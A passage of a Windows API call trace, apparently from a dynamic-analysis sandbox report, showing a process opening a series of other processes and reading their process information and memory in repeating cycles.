out: _Buffer="10.0.19041") returned 10 [0349.111] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc78) returned 0x0 [0349.111] CloseHandle (hObject=0x0) returned 0 [0349.111] _ui64tow_s (in: _Value=0x888, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2184") returned 0x0 [0349.112] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2184") returned 4 [0349.112] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.112] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.113] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x888) returned 0xa9c [0349.113] GetLastError () returned 0x0 [0349.113] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.113] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x367018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.113] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.113] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5226a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.113] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5222a8, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.114] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.114] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.114] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x367020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.114] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521c60, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.114] malloc (_Size=0x7e) returned 0xe88360 [0349.114] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522308, lpBuffer=0xe88360, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88360*, lpNumberOfBytesRead=0x0) returned 1 [0349.116] free (_Block=0xe88360) [0349.116] CloseHandle (hObject=0xa9c) returned 1 [0349.116] _ui64tow_s (in: _Value=0xc8c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3212") returned 0x0 [0349.116] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3212") returned 4 [0349.117] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.117] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.118] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc8c) returned 0xa9c [0349.118] GetLastError () returned 0x0 [0349.118] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.118] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.118] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.118] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e27b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.118] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2358, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.119] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.119] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.119] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.119] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1d10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.119] malloc (_Size=0xbc) returned 0xec9480 [0349.119] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e23c4, lpBuffer=0xec9480, nSize=0xba, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec9480*, lpNumberOfBytesRead=0x0) returned 1 [0349.120] free (_Block=0xec9480) [0349.120] CloseHandle (hObject=0xa9c) returned 1 [0349.121] _ui64tow_s (in: _Value=0x7f8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2040") returned 0x0 [0349.121] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2040") returned 4 [0349.121] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.121] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.122] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7f8) returned 0xa9c [0349.122] GetLastError () returned 0x0 [0349.122] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.122] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x356018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.122] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.122] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d40, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.123] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.123] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.123] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.123] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x356020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.123] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.124] malloc (_Size=0x62) returned 0xeb6770 [0349.124] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xeb6770, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6770*, lpNumberOfBytesRead=0x0) returned 1 [0349.124] free (_Block=0xeb6770) [0349.125] CloseHandle (hObject=0xa9c) returned 1 [0349.125] _ui64tow_s (in: _Value=0x1048, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4168") returned 0x0 [0349.125] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4168") returned 4 [0349.125] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.125] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.126] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1048) returned 0xa9c [0349.126] GetLastError () returned 0x0 [0349.126] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.126] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x24c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.127] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.127] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462690, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.127] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462258, lpBuffer=0x5ec5a0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.127] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.127] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.128] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x24c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.128] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x461c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.128] malloc (_Size=0x84) returned 0xe883f0 [0349.128] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4622d4, lpBuffer=0xe883f0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe883f0*, lpNumberOfBytesRead=0x0) returned 1 [0349.129] free (_Block=0xe883f0) [0349.129] CloseHandle (hObject=0xa9c) returned 1 [0349.129] _ui64tow_s (in: _Value=0x1050, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4176") returned 0x0 [0349.129] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4176") returned 4 [0349.129] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.130] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.131] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1050) returned 0xa9c [0349.131] GetLastError () returned 0x0 [0349.131] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.131] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x322018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.131] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.131] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.131] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.132] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.132] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.132] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x322020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.132] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.191] malloc (_Size=0x6a) returned 0xea9620 [0349.191] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a22ba, lpBuffer=0xea9620, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9620*, lpNumberOfBytesRead=0x0) returned 1 [0349.191] free (_Block=0xea9620) [0349.191] CloseHandle (hObject=0xa9c) returned 1 [0349.192] _ui64tow_s (in: _Value=0x105c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4188") returned 0x0 [0349.192] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4188") returned 4 [0349.192] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.192] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.193] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x105c) returned 0xa9c [0349.193] GetLastError () returned 0x0 [0349.193] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.193] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.193] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.194] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e26b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.194] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2258, lpBuffer=0x5ec5a0, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.194] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.194] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.194] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.194] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.195] malloc (_Size=0x8e) returned 0xec7200 [0349.195] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e22de, lpBuffer=0xec7200, nSize=0x8c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7200*, lpNumberOfBytesRead=0x0) returned 1 [0349.195] free (_Block=0xec7200) [0349.195] CloseHandle (hObject=0xa9c) returned 1 [0349.195] _ui64tow_s (in: _Value=0x1068, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4200") returned 0x0 [0349.196] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4200") returned 4 [0349.196] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.196] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.197] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1068) returned 0xa9c [0349.197] GetLastError () returned 0x0 [0349.197] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.197] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ab018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.197] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.197] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.197] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.198] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.198] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.198] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ab020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.198] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.198] malloc (_Size=0x66) returned 0xeb6380 [0349.198] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f22b6, lpBuffer=0xeb6380, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0349.199] free (_Block=0xeb6380) [0349.199] CloseHandle (hObject=0xa9c) returned 1 [0349.199] _ui64tow_s (in: _Value=0x1080, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4224") returned 0x0 [0349.199] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4224") returned 4 [0349.199] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.199] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.200] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1080) returned 0xa9c [0349.200] GetLastError () returned 0x0 [0349.200] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.200] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x34f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.200] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.201] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e26f0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.201] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2258, lpBuffer=0x5ec5a0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.201] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.201] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.201] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x34f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.201] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.201] malloc (_Size=0xa2) returned 0xe95b00 [0349.201] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e22f2, lpBuffer=0xe95b00, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe95b00*, 